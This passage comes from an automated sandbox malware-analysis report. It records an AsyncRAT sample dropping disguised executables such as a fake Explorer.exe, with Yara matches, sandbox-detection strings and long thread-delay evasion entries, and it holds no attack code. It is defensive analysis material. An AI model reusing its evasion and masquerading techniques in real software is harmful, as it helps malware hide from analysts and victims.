Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AsyncRAT

Source: Yara match	File source: 5.0.rrat.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rrat.exe.26db1a0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rrat.exe.26db1a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.2033237516.0000000000202000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2089096502.0000000002571000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2089096502.00000000026D6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: a.exe PID: 1372, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rrat.exe PID: 1968, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Explorer.exe PID: 7356, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\explore.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Explorer.exe, type: DROPPED

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: a.exe, 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmp, rrat.exe, 00000005.00000000.2033237516.0000000000202000.00000002.00000001.01000000.0000000B.sdmp, rrat.exe, 00000005.00000002.2089096502.00000000026D6000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe.5.dr, explore.exe.16.dr, rrat.exe.4.dr

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Memory allocated: 2350000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Memory allocated: 2570000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Memory allocated: 2350000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Memory allocated: 28D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Memory allocated: 2AE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Memory allocated: 28D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Memory allocated: 1860000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Memory allocated: 3460000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Memory allocated: 1860000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\explore.exe	Memory allocated: 1520000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\explore.exe	Memory allocated: 30E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\explore.exe	Memory allocated: 2FE0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 599775	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 599121	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 598797	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 598465	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 598282	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 597965	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 597858	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 597747	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 597638	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 597531	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 597421	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 597284	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 597010	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 596905	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 596796	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 596687	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 596468	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 596329	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 596203	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 596086	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 595984	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 595874	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 595764	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 595330	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 595203	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 595057	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 594952	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 594841	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 594733	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 594613	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 594484	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 594348	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 594218	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 594109	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 594000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 593890	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 593781	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\explore.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Window / User API: threadDelayed 411	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5922	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3754	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Window / User API: threadDelayed 3437	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Window / User API: threadDelayed 6333	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5852
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3929

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe

Evasive API call chain: GetLocalTime,DecisionNodes

graph_4-19226

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe TID: 3628	Thread sleep count: 411 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe TID: 3628	Thread sleep count: 85 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe TID: 1488	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5628	Thread sleep count: 5922 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5252	Thread sleep count: 3754 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6180	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -30437127721620741s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -599775s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -599671s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -599343s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -599121s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -599015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -598906s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -598797s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -598687s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -598578s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -598465s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -598282s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -597965s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -597858s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -597747s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -597638s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -597531s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -597421s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -597284s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -597156s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -597010s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -596905s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -596796s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -596687s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -596578s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -596468s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -596329s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -596203s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -596086s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -595984s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -595874s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -595764s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -595330s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -595203s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -595057s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -594952s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -594841s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -594733s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -594613s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -594484s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -594348s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -594218s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -594109s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -594000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -593890s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7756	Thread sleep time: -593781s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7468	Thread sleep count: 278 > 30
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7460	Thread sleep count: 101 > 30
Source: C:\Users\user\AppData\Roaming\Explorer.exe TID: 7444	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\explore.exe TID: 7680	Thread sleep count: 300 > 30
Source: C:\Users\user\AppData\Local\explore.exe TID: 7664	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7812	Thread sleep count: 5852 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7812	Thread sleep count: 3929 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7992	Thread sleep time: -4611686018427385s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\rrats.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\explore.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CAA69B FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	0_2_00CAA69B
Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CBC220 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	0_2_00CBC220
Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CCB348 FindFirstFileExA,	0_2_00CCB348
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Code function: 4_2_00E82AF9 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	4_2_00E82AF9
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Code function: 4_2_00E91260 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	4_2_00E91260
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Code function: 4_2_00E9FCC8 FindFirstFileExA,	4_2_00E9FCC8

Source: C:\Users\user\Desktop\rrats.exe

Code function: 0_2_00CBE6A3 VirtualQuery,GetSystemInfo,

0_2_00CBE6A3

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 599775	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 599121	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 598797	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 598465	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 598282	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 597965	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 597858	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 597747	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 597638	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 597531	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 597421	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 597284	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 597010	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 596905	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 596796	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 596687	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 596468	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 596329	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 596203	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 596086	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 595984	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 595874	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 595764	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 595330	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 595203	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 595057	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 594952	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 594841	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 594733	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 594613	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 594484	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 594348	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 594218	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 594109	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 594000	Jump to behavior
